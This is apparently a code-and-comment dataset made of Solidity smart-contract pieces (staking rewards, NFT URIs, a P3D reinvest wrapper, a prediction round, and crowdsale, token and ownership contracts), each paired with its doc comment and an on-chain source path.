_subtractFee) private { // ..:: Pending reward will be calculate and add to transferAmount, before transfer unStake amount ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) { uint256 userRewardedBalance = poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance; uint pendingAmount = _user.stakingBalance .mul(poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare) .div(1e36) .sub(userRewardedBalance); if (pendingAmount > 0) { uint256 finalRewardAmount = pendingAmount; if (_subtractFee){ uint256 pendingRewardFee; if (poolRewardList[_stakeID][RewardIndex].feeRate > 0) pendingRewardFee = pendingAmount .mul(poolRewardList[_stakeID][RewardIndex].feeRate) .div(100); // Commission fees received are recorded for reporting poolVariable[_stakeID].balanceFee = poolVariable[_stakeID].balanceFee.add(pendingRewardFee); // Calculated reward after commission deducted finalRewardAmount = pendingAmount.sub(pendingRewardFee); } //Reward distribution getRewardTokenContract(_stakeID, RewardIndex).safeTransfer(_msgSender(), finalRewardAmount); // Updating balance pending to be distributed from contract to users poolRewardVariableInfo[_stakeID][RewardIndex].balance = poolRewardVariableInfo[_stakeID][RewardIndex].balance.sub(pendingAmount); // The amount distributed to users is reported poolPaidOut[_stakeID][RewardIndex] = poolPaidOut[_stakeID][RewardIndex].add(pendingAmount); } } } /// @notice Deposits assets by pool id /// @param _stakeID Id of the stake pool /// @param _amount Amount of deposit asset function stake(uint _stakeID, uint256 _amount) public{ IERC20 selectedToken = getStakeContract(_stakeID); require(selectedToken.allowance(_msgSender(), address(this)) > 0, "Stake: No balance allocated for Allowance!"); require(_amount > 0 && selectedToken.balanceOf(_msgSender()) >= _amount, "Stake: You cannot stake zero tokens"); UserDef storage user = poolUserInfo[_stakeID][_msgSender()]; // Amount leak control if (_amount > selectedToken.balanceOf(_msgSender())) _amount = selectedToken.balanceOf(_msgSender()); // Amount transfer to address(this) selectedToken.safeTransferFrom(_msgSender(), address(this), _amount); UpdatePoolRewardShare(_stakeID); if (user.stakingBalance > 0) sendPendingReward(_stakeID, user, false); // "_amount" added to Total staked value by Pool ID poolTotalStake[_stakeID] = poolTotalStake[_stakeID].add(_amount); // "_amount" added to USER Total staked value by Pool ID user.stakingBalance = user.stakingBalance.add(_amount); // ..:: Calculating the rewards user pool deserve ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint i=0; i<rewardCount; i++) { poolUserRewardInfo[_stakeID][_msgSender()][i].rewardBalance = user.stakingBalance.mul(poolRewardVariableInfo[_stakeID][i].accTokenPerShare).div(1e36); } // ..:: Calculating the rewards user pool deserve ::.. emit Stake(_msgSender(), _amount); } /// @notice Returns staked token balance by pool id /// @param _stakeID Id of the stake pool /// @param _account Address of the staker /// @return Count of staked balance function balanceOf(uint _stakeID, address _account) public view returns (uint256) { return poolUserInfo[_stakeID][_account].stakingBalance; } /// @notice Returns Stake Poll Contract casted IERC20 interface by pool id /// @param _stakeID Id of the stake pool function getStakeContract(uint _stakeID) internal view returns(IERC20){ require(poolListExtras[_stakeID].name!="", "Stake: Selected contract is not valid"); require(poolList[_stakeID].active,"Stake: Selected contract is not active"); return IERC20(poolList[_stakeID].tokenAddress); } /// @notice Returns rewarded token address /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @return Token contract function getRewardTokenContract(uint _stakeID, uint _rewardID) internal view returns(IERC20){ return IERC20(poolRewardList[_stakeID][_rewardID].tokenAddress); } /// @notice Checks the address has a stake /// @param _stakeID Id of the stake pool /// @param _user Address of the staker /// @return Value of stake status function isStaking(uint _stakeID, address _user) view public returns(bool){ return poolUserInfo[_stakeID][_user].stakingBalance > 0; } /// @notice Returns stake asset list of active function getPoolList() public view returns(PoolDef[] memory, PoolDefExt[] memory){ uint length = stakeIDCounter; PoolDef[] memory result = new PoolDef[](length); PoolDefExt[] memory resultExt = new PoolDefExt[](length); for (uint i=0; i<length; i++) { result[i] = poolList[i]; resultExt[i] = poolListExtras[i]; } return (result, resultExt); } /// @notice Returns the pool's reward definition information /// @param _stakeID Id of the stake pool /// @return List of pool's reward definition function getPoolRewardDefList(uint _stakeID) public view returns(RewardDef[] memory){ uint length = poolList[_stakeID].rewardCount; RewardDef[] memory result = new RewardDef[](length); for (uint i=0; i<length; i++) { result[i] = poolRewardList[_stakeID][i]; } return result; } /// @notice Returns the pool's reward definition information by pool id /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @return pool's reward definition function getPoolRewardDef(uint _stakeID, uint _rewardID) public view returns(RewardDef memory, PoolRewardVariable memory){ return (poolRewardList[_stakeID][_rewardID], poolRewardVariableInfo[_stakeID][_rewardID]); } /// @notice Returns stake pool /// @param _stakeID Id of the stake pool /// @return Definition of pool function getPoolDefByID(uint _stakeID) public view returns(PoolDef memory){ require(poolListExtras[_stakeID].name!="", "Stake: Stake Asset is not valid"); return poolList[_stakeID]; } /// @notice Adds new stake def to the pool /// @param _poolAddress Address of the token pool /// @param _poolName Name of the token pool /// @param _rewards Rewards for the stakers function addNewStakePool(address _poolAddress, bytes32 _poolName, RewardDef[] memory _rewards) onlyOwner public returns(uint){ require(_poolAddress != address(0), "Stake: New Staking Pool address not valid"); require(_poolName != "", "Stake: New Staking Pool name not valid"); uint length = _rewards.length; for (uint i=0; i<length; i++) { _rewards[i].id = i; poolRewardList[stakeIDCounter][i] = _rewards[i]; } poolList[stakeIDCounter] = PoolDef(_poolAddress, length, stakeIDCounter, false); poolListExtras[stakeIDCounter] = PoolDefExt(block.timestamp, 0, _poolName); poolVariable[stakeIDCounter] = PoolVariable(0, 0, 0); stakeIDCounter++; return stakeIDCounter.sub(1); } /// @notice Disables stake pool for user /// @param _stakeID Id of the stake pool function disableStakePool(uint _stakeID) public onlyOwner{ require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid"); require(poolList[_stakeID].active,"Stake: Contract is already disabled"); poolList[_stakeID].active = false; } /// @notice Enables stake pool for user /// @param _stakeID Id of the stake pool function enableStakePool(uint _stakeID) public onlyOwner{ require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid"); require(poolList[_stakeID].active==false,"Stake: Contract is already enabled"); poolList[_stakeID].active = true; } /// @notice Returns pool list count /// @return Count of pool list function getPoolCount() public view returns(uint){ return stakeIDCounter; } /// @notice The contract owner adds the reward she shared with the users here /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _amount Amount of deposit to reward function depositToRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){ IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID); require(selectedToken.allowance(owner(), address(this)) > 0, "Stake: No balance allocated for Allowance!"); require(_amount > 0, "Stake: You cannot stake zero tokens"); require(address(this) != address(0), "Stake: Storage address did not set"); // Amount leak control if (_amount > selectedToken.balanceOf(_msgSender())) _amount = selectedToken.balanceOf(_msgSender()); // Amount transfer to address(this) selectedToken.safeTransferFrom(_msgSender(), address(this), _amount); poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.add(_amount); return true; } /// @notice The contract owner takes back the reward shared with the users here /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _amount Amount of deposit to reward function withdrawRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){ poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.sub(_amount); IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID); selectedToken.safeTransfer(_msgSender(), _amount); return true; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _rewardPerSecond New staking reward per second function updateRewardPerSecond(uint _stakeID, uint _rewardID, uint256 _rewardPerSecond) public onlyOwner returns(bool){ RewardDef storage reward = poolRewardList[_stakeID][_rewardID]; require(reward.rewardPerSecond != _rewardPerSecond, "Reward per Second no change! Because it is same."); reward.rewardPerSecond = _rewardPerSecond; return true; } /// @return Returns number of reward to be distributed per second by pool id function getRewardPerSecond(uint _stakeID, uint _rewardID) public view returns(uint256){ return poolRewardList[_stakeID][_rewardID].rewardPerSecond; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _feeRate New reward harvest fee function updateRewardFeeRate(uint _stakeID, uint _rewardID, uint8 _feeRate) public onlyOwner returns(bool){ RewardDef storage reward = poolRewardList[_stakeID][_rewardID]; require(reward.feeRate != _feeRate, "FeeRate no change! Because it is same."); reward.feeRate = _feeRate; return true; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _feeRate New unStake fee function updateUnStakeFeeRate(uint _stakeID, uint8 _feeRate) public onlyOwner returns(bool){ PoolVariable storage def = poolVariable[_stakeID]; require(def.feeRate != _feeRate, "UnStake FeeRate no change! Because it is same."); def.feeRate = _feeRate; return true; } /// @return Returns commission rate for Unstake transaction function getUnStakeFeeRate(uint _stakeID)public view returns(uint8){ return poolVariable[_stakeID].feeRate; } /// @return Returns blockchain time function getTime() public view returns(uint256){ return block.timestamp; } }
The contract owner adds the reward she shared with the users here _stakeID Id of the stake pool _rewardID Id of the reward _amount Amount of deposit to reward Amount leak control Amount transfer to address(this)
function depositToRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){ IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID); require(selectedToken.allowance(owner(), address(this)) > 0, "Stake: No balance allocated for Allowance!"); require(_amount > 0, "Stake: You cannot stake zero tokens"); require(address(this) != address(0), "Stake: Storage address did not set"); if (_amount > selectedToken.balanceOf(_msgSender())) _amount = selectedToken.balanceOf(_msgSender()); selectedToken.safeTransferFrom(_msgSender(), address(this), _amount); poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.add(_amount); return true; }
13,084,410
./full_match/1/0x3adcf34d0f933C85EFE96ec43BAECF9dAbCAf249/sources/contracts/Contract.sol
Set a distinct URI (RFC 3986) for a given NFT ID. This is an internal function which should be called from user-implemented external function. Its purpose is to show and properly initialize data structures when using this implementation. _tokenId Id for which we want URI. _uri String representing RFC 3986 URI./
function _setTokenUri( uint256 _tokenId, string memory _uri ) internal validNFToken(_tokenId) { idToUri[_tokenId] = _uri; }
8,314,431
./full_match/1/0x2C0F5D2867d548d8F14097C2A099df679A842E49/sources/contracts/shared/OCDiamond.sol
This implements ERC-165.
function supportsInterface(bytes4 _interfaceId) external view returns (bool) { LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); return ds.supportedInterfaces[_interfaceId]; }
9,755,911
pragma solidity ^0.4.23; interface P3D { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); function myDividends(bool _includeReferralBonus) external view returns(uint256); } contract Crop { address public owner; bool public disabled; modifier onlyOwner() { require(msg.sender == owner); _; } function() public payable {} /** * @dev Turn reinvest on / off * @param _disabled bool to determine state of reinvest. */ function disable(bool _disabled) external onlyOwner() { // toggle disabled disabled = _disabled; } /** * @dev Enables anyone with a masternode to earn referral fees on P3D reinvestments. */ function reinvest() external { // reinvest must be enabled require(disabled == false); // setup p3d P3D p3d = P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); // withdraw dividends p3d.withdraw(); // reinvest with a referral fee for sender p3d.buy.value(address(this).balance)(msg.sender); } /** * @dev Buy P3D tokens * @param _playerAddress referral address. */ function buy(address _playerAddress) external payable onlyOwner() { P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).buy.value(msg.value)(_playerAddress); } /** * @dev Sell P3D tokens and send balance to owner * @param _amountOfTokens amount of tokens to sell. */ function sell(uint256 _amountOfTokens) external onlyOwner() { // sell tokens P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).sell(_amountOfTokens); // transfer to owner owner.transfer(address(this).balance); } /** * @dev Withdraw P3D dividends and send balance to owner */ function withdraw() external onlyOwner() { // withdraw dividends P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).withdraw(); // transfer to owner owner.transfer(address(this).balance); } /** * @dev Sell P3D tokens, withdraw dividends, and send balance to owner */ function exit() external onlyOwner() { // sell all tokens and withdraw P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).exit(); // transfer to owner owner.transfer(address(this).balance); } /** * @dev Transfer P3D tokens * @param _toAddress address to send tokens to. * @param _amountOfTokens amount of tokens to send. */ function transfer(address _toAddress, uint256 _amountOfTokens) external onlyOwner() returns (bool) { return P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).transfer(_toAddress, _amountOfTokens); } /** * @dev Get dividends for this contract * @param _includeReferralBonus for including referrals in dividends. */ function dividends(bool _includeReferralBonus) external view returns (uint256) { return P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe).myDividends(_includeReferralBonus); } }
Enables anyone with a masternode to earn referral fees on P3D reinvestments./ reinvest must be enabled setup p3d withdraw dividends reinvest with a referral fee for sender
function reinvest() external { require(disabled == false); P3D p3d = P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); p3d.withdraw(); p3d.buy.value(address(this).balance)(msg.sender); }
7,861,571
./full_match/43113/0x1248789C1D453448EA9F7F1977d299f14E81aA55/sources/contracts/AvaxPrediction.sol
using intervalSeconds as locking buffer periodcant lock the round if intervalSeconds passed after the lockTimestampcant lock if oracle didnt update after startTimestampalso cant lock if round timestamps are not set correctly (equals 0)
function _lockCurrentRound(uint80 oracleRoundId, int256 price, uint256 oracleUpdatedAt) internal whenNotPaused { Round storage round = rounds[currentEpoch]; Timestamps storage ts = timestamps[currentEpoch]; if(ts.startTimestamp == 0 || block.timestamp > ts.lockTimestamp + intervalSeconds || oracleUpdatedAt < ts.startTimestamp){ round.cancelled = true; emit CancelRound(currentEpoch); } else { round.lockPrice = price; round.lockOracleId = oracleRoundId; ts.lockTimestamp = uint32(block.timestamp); ts.closeTimestamp = uint32(block.timestamp) + intervalSeconds; emit LockRound(currentEpoch, oracleRoundId, round.lockPrice); } }
7,134,321
pragma solidity ^0.4.18; /** * IOwnership * * Perminent ownership * * #created 01/10/2017 * #author Frank Bonnet */ interface IOwnership { /** * Returns true if `_account` is the current owner * * @param _account The address to test against */ function isOwner(address _account) public view returns (bool); /** * Gets the current owner * * @return address The current owner */ function getOwner() public view returns (address); } /** * Ownership * * Perminent ownership * * #created 01/10/2017 * #author Frank Bonnet */ contract Ownership is IOwnership { // Owner address internal owner; /** * Access is restricted to the current owner */ modifier only_owner() { require(msg.sender == owner); _; } /** * The publisher is the inital owner */ function Ownership() public { owner = msg.sender; } /** * Returns true if `_account` is the current owner * * @param _account The address to test against */ function isOwner(address _account) public view returns (bool) { return _account == owner; } /** * Gets the current owner * * @return address The current owner */ function getOwner() public view returns (address) { return owner; } } /** * ERC20 compatible token interface * * - Implements ERC 20 Token standard * - Implements short address attack fix * * #created 29/09/2017 * #author Frank Bonnet */ interface IToken { /** * Get the total supply of tokens * * @return The total supply */ function totalSupply() public view returns (uint); /** * Get balance of `_owner` * * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public view returns (uint); /** * Send `_value` token to `_to` from `msg.sender` * * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint _value) public returns (bool); /** * Send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint _value) public returns (bool); /** * `msg.sender` approves `_spender` to spend `_value` tokens * * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint _value) public returns (bool); /** * Get the amount of remaining tokens that `_spender` is allowed to spend from `_owner` * * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns (uint); } /** * IManagedToken * * Adds the following functionality to the basic ERC20 token * - Locking * - Issuing * - Burning * * #created 29/09/2017 * #author Frank Bonnet */ interface IManagedToken { /** * Returns true if the token is locked * * @return Whether the token is locked */ function isLocked() public view returns (bool); /** * Locks the token so that the transfering of value is disabled * * @return Whether the unlocking was successful or not */ function lock() public returns (bool); /** * Unlocks the token so that the transfering of value is enabled * * @return Whether the unlocking was successful or not */ function unlock() public returns (bool); /** * Issues `_value` new tokens to `_to` * * @param _to The address to which the tokens will be issued * @param _value The amount of new tokens to issue * @return Whether the tokens where sucessfully issued or not */ function issue(address _to, uint _value) public returns (bool); /** * Burns `_value` tokens of `_from` * * @param _from The address that owns the tokens to be burned * @param _value The amount of tokens to be burned * @return Whether the tokens where sucessfully burned or not */ function burn(address _from, uint _value) public returns (bool); } /** * ITokenRetriever * * Allows tokens to be retrieved from a contract * * #created 29/09/2017 * #author Frank Bonnet */ interface ITokenRetriever { /** * Extracts tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public; } /** * TokenRetriever * * Allows tokens to be retrieved from a contract * * #created 18/10/2017 * #author Frank Bonnet */ contract TokenRetriever is ITokenRetriever { /** * Extracts tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public { IToken tokenInstance = IToken(_tokenContract); uint tokenBalance = tokenInstance.balanceOf(this); if (tokenBalance > 0) { tokenInstance.transfer(msg.sender, tokenBalance); } } } /** * IAuthenticator * * Authenticator interface * * #created 15/10/2017 * #author Frank Bonnet */ interface IAuthenticator { /** * Authenticate * * Returns whether `_account` is authenticated or not * * @param _account The account to authenticate * @return whether `_account` is successfully authenticated */ function authenticate(address _account) public view returns (bool); } /** * IAuthenticationManager * * Allows the authentication process to be enabled and disabled * * #created 15/10/2017 * #author Frank Bonnet */ interface IAuthenticationManager { /** * Returns true if authentication is enabled and false * otherwise * * @return Whether the converter is currently authenticating or not */ function isAuthenticating() public view returns (bool); /** * Enable authentication */ function enableAuthentication() public; /** * Disable authentication */ function disableAuthentication() public; } /** * IWingsAdapter * * WINGS DAO Price Discovery & Promotion Pre-Beta https://www.wings.ai * * #created 04/10/2017 * #author Frank Bonnet */ interface IWingsAdapter { /** * Get the total raised amount of Ether * * Can only increase, meaning if you withdraw ETH from the wallet, it should be not modified (you can use two fields * to keep one with a total accumulated amount) amount of ETH in contract and totalCollected for total amount of ETH collected * * @return Total raised Ether amount */ function totalCollected() public view returns (uint); } /** * IPersonalCrowdsaleProxy * * #created 22/11/2017 * #author Frank Bonnet */ interface IPersonalCrowdsaleProxy { /** * Receive ether and issue tokens * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) * * Contracts can call the contribute() function instead */ function () public payable; } /** * PersonalCrowdsaleProxy * * #created 22/11/2017 * #author Frank Bonnet */ contract PersonalCrowdsaleProxy is IPersonalCrowdsaleProxy { address public owner; ICrowdsale public target; /** * Deploy proxy * * @param _owner Owner of the proxy * @param _target Target crowdsale */ function PersonalCrowdsaleProxy(address _owner, address _target) public { target = ICrowdsale(_target); owner = _owner; } /** * Receive contribution and forward to the target crowdsale * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) */ function () public payable { target.contributeFor.value(msg.value)(owner); } } /** * ICrowdsaleProxy * * #created 23/11/2017 * #author Frank Bonnet */ interface ICrowdsaleProxy { /** * Receive ether and issue tokens to the sender * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) * * Contracts can call the contribute() function instead */ function () public payable; /** * Receive ether and issue tokens to the sender * * @return The accepted ether amount */ function contribute() public payable returns (uint); /** * Receive ether and issue tokens to `_beneficiary` * * @param _beneficiary The account that receives the tokens * @return The accepted ether amount */ function contributeFor(address _beneficiary) public payable returns (uint); } /** * CrowdsaleProxy * * #created 22/11/2017 * #author Frank Bonnet */ contract CrowdsaleProxy is ICrowdsaleProxy { address public owner; ICrowdsale public target; /** * Deploy proxy * * @param _owner Owner of the proxy * @param _target Target crowdsale */ function CrowdsaleProxy(address _owner, address _target) public { target = ICrowdsale(_target); owner = _owner; } /** * Receive contribution and forward to the crowdsale * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) */ function () public payable { target.contributeFor.value(msg.value)(msg.sender); } /** * Receive ether and issue tokens to the sender * * @return The accepted ether amount */ function contribute() public payable returns (uint) { target.contributeFor.value(msg.value)(msg.sender); } /** * Receive ether and issue tokens to `_beneficiary` * * @param _beneficiary The account that receives the tokens * @return The accepted ether amount */ function contributeFor(address _beneficiary) public payable returns (uint) { target.contributeFor.value(msg.value)(_beneficiary); } } /** * ICrowdsale * * Base crowdsale interface to manage the sale of * an ERC20 token * * #created 09/09/2017 * #author Frank Bonnet */ interface ICrowdsale { /** * Returns true if the contract is currently in the presale phase * * @return True if in presale phase */ function isInPresalePhase() public view returns (bool); /** * Returns true if the contract is currently in the ended stage * * @return True if ended */ function isEnded() public view returns (bool); /** * Returns true if `_beneficiary` has a balance allocated * * @param _beneficiary The account that the balance is allocated for * @param _releaseDate The date after which the balance can be withdrawn * @return True if there is a balance that belongs to `_beneficiary` */ function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool); /** * Get the allocated token balance of `_owner` * * @param _owner The address from which the allocated token balance will be retrieved * @return The allocated token balance */ function balanceOf(address _owner) public view returns (uint); /** * Get the allocated eth balance of `_owner` * * @param _owner The address from which the allocated eth balance will be retrieved * @return The allocated eth balance */ function ethBalanceOf(address _owner) public view returns (uint); /** * Get invested and refundable balance of `_owner` (only contributions during the ICO phase are registered) * * @param _owner The address from which the refundable balance will be retrieved * @return The invested refundable balance */ function refundableEthBalanceOf(address _owner) public view returns (uint); /** * Returns the rate and bonus release date * * @param _phase The phase to use while determining the rate * @param _volume The amount wei used to determine what volume multiplier to use * @return The rate used in `_phase` multiplied by the corresponding volume multiplier */ function getRate(uint _phase, uint _volume) public view returns (uint); /** * Convert `_wei` to an amount in tokens using * the `_rate` * * @param _wei amount of wei to convert * @param _rate rate to use for the conversion * @return Amount in tokens */ function toTokens(uint _wei, uint _rate) public view returns (uint); /** * Receive ether and issue tokens to the sender * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) * * Contracts can call the contribute() function instead */ function () public payable; /** * Receive ether and issue tokens to the sender * * @return The accepted ether amount */ function contribute() public payable returns (uint); /** * Receive ether and issue tokens to `_beneficiary` * * @param _beneficiary The account that receives the tokens * @return The accepted ether amount */ function contributeFor(address _beneficiary) public payable returns (uint); /** * Withdraw allocated tokens */ function withdrawTokens() public; /** * Withdraw allocated ether */ function withdrawEther() public; /** * Refund in the case of an unsuccessful crowdsale. The * crowdsale is considered unsuccessful if minAmount was * not raised before end of the crowdsale */ function refund() public; } /** * Crowdsale * * Abstract base crowdsale contract that manages the sale of * an ERC20 token * * #created 29/09/2017 * #author Frank Bonnet */ contract Crowdsale is ICrowdsale, Ownership { enum Stages { Deploying, Deployed, InProgress, Ended } struct Balance { uint eth; uint tokens; uint index; } struct Percentage { uint eth; uint tokens; bool overwriteReleaseDate; uint fixedReleaseDate; uint index; } struct Payout { uint percentage; uint vestingPeriod; } struct Phase { uint rate; uint end; uint bonusReleaseDate; bool useVolumeMultiplier; } struct VolumeMultiplier { uint rateMultiplier; uint bonusReleaseDateMultiplier; } // Crowdsale details uint public baseRate; uint public minAmount; uint public maxAmount; uint public minAcceptedAmount; uint public minAmountPresale; uint public maxAmountPresale; uint public minAcceptedAmountPresale; // Company address address public beneficiary; // Denominators uint internal percentageDenominator; uint internal tokenDenominator; // Crowdsale state uint public start; uint public presaleEnd; uint public crowdsaleEnd; uint public raised; uint public allocatedEth; uint public allocatedTokens; Stages public stage; // Token contract IManagedToken public token; // Invested balances mapping (address => uint) private balances; // Alocated balances mapping (address => mapping(uint => Balance)) private allocated; mapping(address => uint[]) private allocatedIndex; // Stakeholders mapping (address => Percentage) private stakeholderPercentages; address[] private stakeholderPercentagesIndex; Payout[] private stakeholdersPayouts; // Crowdsale phases Phase[] private phases; // Volume multipliers mapping (uint => VolumeMultiplier) private volumeMultipliers; uint[] private volumeMultiplierThresholds; /** * Throw if at stage other than current stage * * @param _stage expected stage to test for */ modifier at_stage(Stages _stage) { require(stage == _stage); _; } /** * Only after crowdsaleEnd plus `_time` * * @param _time Time to pass */ modifier only_after(uint _time) { require(now > crowdsaleEnd + _time); _; } /** * Only after crowdsale */ modifier only_after_crowdsale() { require(now > crowdsaleEnd); _; } /** * Throw if sender is not beneficiary */ modifier only_beneficiary() { require(beneficiary == msg.sender); _; } // Events event ProxyCreated(address proxy, address beneficiary); /** * Allows the implementing contract to validate a * contributing account * * @param _contributor Address that is being validated * @return Wheter the contributor is accepted or not */ function isAcceptedContributor(address _contributor) internal view returns (bool); /** * Start in the deployed stage */ function Crowdsale() public { stage = Stages.Deploying; } /** * Setup the crowdsale * * @param _start The timestamp of the start date * @param _token The token that is sold * @param _tokenDenominator The token amount of decimals that the token uses * @param _percentageDenominator The percision of percentages * @param _minAmountPresale The min cap for the presale * @param _maxAmountPresale The max cap for the presale * @param _minAcceptedAmountPresale The lowest accepted amount during the presale phase * @param _minAmount The min cap for the ICO * @param _maxAmount The max cap for the ICO * @param _minAcceptedAmount The lowest accepted amount during the ICO phase */ function setup(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount) public only_owner at_stage(Stages.Deploying) { token = IManagedToken(_token); tokenDenominator = _tokenDenominator; percentageDenominator = _percentageDenominator; start = _start; minAmountPresale = _minAmountPresale; maxAmountPresale = _maxAmountPresale; minAcceptedAmountPresale = _minAcceptedAmountPresale; minAmount = _minAmount; maxAmount = _maxAmount; minAcceptedAmount = _minAcceptedAmount; } /** * Setup rates and phases * * @param _baseRate The rate without bonus * @param _phaseRates The rates for each phase * @param _phasePeriods The periods that each phase lasts (first phase is the presale phase) * @param _phaseBonusLockupPeriods The lockup period that each phase lasts * @param _phaseUsesVolumeMultiplier Wheter or not volume bonusses are used in the respective phase */ function setupPhases(uint _baseRate, uint[] _phaseRates, uint[] _phasePeriods, uint[] _phaseBonusLockupPeriods, bool[] _phaseUsesVolumeMultiplier) public only_owner at_stage(Stages.Deploying) { baseRate = _baseRate; presaleEnd = start + _phasePeriods[0]; // First phase is expected to be the presale phase crowdsaleEnd = start; // Plus the sum of the rate phases for (uint i = 0; i < _phaseRates.length; i++) { crowdsaleEnd += _phasePeriods[i]; phases.push(Phase(_phaseRates[i], crowdsaleEnd, 0, _phaseUsesVolumeMultiplier[i])); } for (uint ii = 0; ii < _phaseRates.length; ii++) { if (_phaseBonusLockupPeriods[ii] > 0) { phases[ii].bonusReleaseDate = crowdsaleEnd + _phaseBonusLockupPeriods[ii]; } } } /** * Setup stakeholders * * @param _stakeholders The addresses of the stakeholders (first stakeholder is the beneficiary) * @param _stakeholderEthPercentages The eth percentages of the stakeholders * @param _stakeholderTokenPercentages The token percentages of the stakeholders * @param _stakeholderTokenPayoutOverwriteReleaseDates Wheter the vesting period is overwritten for the respective stakeholder * @param _stakeholderTokenPayoutFixedReleaseDates The vesting period after which the whole percentage of the tokens is released to the respective stakeholder * @param _stakeholderTokenPayoutPercentages The percentage of the tokens that is released at the respective date * @param _stakeholderTokenPayoutVestingPeriods The vesting period after which the respective percentage of the tokens is released */ function setupStakeholders(address[] _stakeholders, uint[] _stakeholderEthPercentages, uint[] _stakeholderTokenPercentages, bool[] _stakeholderTokenPayoutOverwriteReleaseDates, uint[] _stakeholderTokenPayoutFixedReleaseDates, uint[] _stakeholderTokenPayoutPercentages, uint[] _stakeholderTokenPayoutVestingPeriods) public only_owner at_stage(Stages.Deploying) { beneficiary = _stakeholders[0]; // First stakeholder is expected to be the beneficiary for (uint i = 0; i < _stakeholders.length; i++) { stakeholderPercentagesIndex.push(_stakeholders[i]); stakeholderPercentages[_stakeholders[i]] = Percentage( _stakeholderEthPercentages[i], _stakeholderTokenPercentages[i], _stakeholderTokenPayoutOverwriteReleaseDates[i], _stakeholderTokenPayoutFixedReleaseDates[i], i); } // Percentages add up to 100 for (uint ii = 0; ii < _stakeholderTokenPayoutPercentages.length; ii++) { stakeholdersPayouts.push(Payout(_stakeholderTokenPayoutPercentages[ii], _stakeholderTokenPayoutVestingPeriods[ii])); } } /** * Setup volume multipliers * * @param _volumeMultiplierRates The rates will be multiplied by this value (denominated by 4) * @param _volumeMultiplierLockupPeriods The lockup periods will be multiplied by this value (denominated by 4) * @param _volumeMultiplierThresholds The volume thresholds for each respective multiplier */ function setupVolumeMultipliers(uint[] _volumeMultiplierRates, uint[] _volumeMultiplierLockupPeriods, uint[] _volumeMultiplierThresholds) public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); volumeMultiplierThresholds = _volumeMultiplierThresholds; for (uint i = 0; i < volumeMultiplierThresholds.length; i++) { volumeMultipliers[volumeMultiplierThresholds[i]] = 